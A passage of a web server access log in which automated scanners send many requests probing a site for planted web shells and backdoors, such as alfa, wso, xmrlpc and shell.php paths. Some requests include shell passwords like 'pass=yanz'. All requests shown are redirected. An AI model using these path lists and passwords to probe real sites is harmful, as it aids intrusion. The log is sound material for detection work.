-0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:48 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:51 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:54 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:57 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:55:58 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:00 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:04 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:06 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:09 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:11 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:12 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:17 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:21 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:22 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:26 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:28 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 3.147.199.62 - - [14/Apr/2025:22:56:31 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 52.164.202.241 - - [14/Apr/2025:22:56:32 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:34 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:37 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:37 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:39 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:40 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:41 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:43 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:44 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:46 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:49 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:52 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:54 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:55 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:56:58 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:00 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:02 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:04 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:07 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:09 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:11 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:12 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:14 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:16 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:17 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:19 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:20 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:23 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:25 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:27 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:29 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:31 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:35 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:37 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:40 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:42 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:45 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:49 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:50 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:51 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:52 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:54 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:55 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:56 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:57 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:57:58 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:00 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:00 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:02 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:02 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:03 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:06 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:08 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:10 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:11 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:12 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:12 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:13 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:14 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.202.241 - - [14/Apr/2025:22:58:15 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 3.86.53.227 - - [14/Apr/2025:23:06:50 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 2a00:da00:f40f:8b00::1 - - [14/Apr/2025:23:26:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0" 2a00:da00:f40f:8b00::1 - - [14/Apr/2025:23:26:49 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0" 18.138.77.105 - - [14/Apr/2025:23:27:03 -0400] "GET /img/porto-home/Logo_Design_Interior_Design_Gurgaon_Studio_26.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 125.75.66.97 - - [14/Apr/2025:23:32:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 63.135.161.238 - - [14/Apr/2025:23:33:53 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:40:29 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:30 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:31 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:31 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:31 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:32 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:32 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:33 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:33 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:34 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:34 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:35 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:35 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:36 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:36 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:36 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:37 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:37 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:38 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:38 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:39 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:40 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:40 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:40 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:41 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:42 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:42 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:43 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:43 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:43 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:44 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:45 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:45 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:46 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:46 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:47 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:47 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:48 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:49 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:50 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:50 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:51 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:51 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:52 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:52 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:53 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:53 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:54 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:55 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:55 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:55 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:56 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:56 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:57 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:57 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:57 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:58 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:58 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:59 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:59 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:40:59 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:00 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:00 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:01 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:01 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:02 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:03 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:03 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:04 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:04 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:05 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:07 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:07 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:08 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:08 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:09 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:09 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:10 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:10 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:11 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:11 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:12 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:13 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:13 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:14 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:14 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:15 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:15 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:16 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:16 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:17 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:17 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:18 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:19 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:20 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:20 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:21 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:21 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:22 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:23 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:23 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:24 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:24 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:25 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:26 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:26 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:27 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:27 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:28 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:29 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:29 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:30 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:30 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:31 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:31 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:31 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:32 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:32 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:33 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:33 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:33 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:34 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:34 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:36 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:37 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:37 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:38 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:39 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:40 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:40 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:41 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:41 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:41:42 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 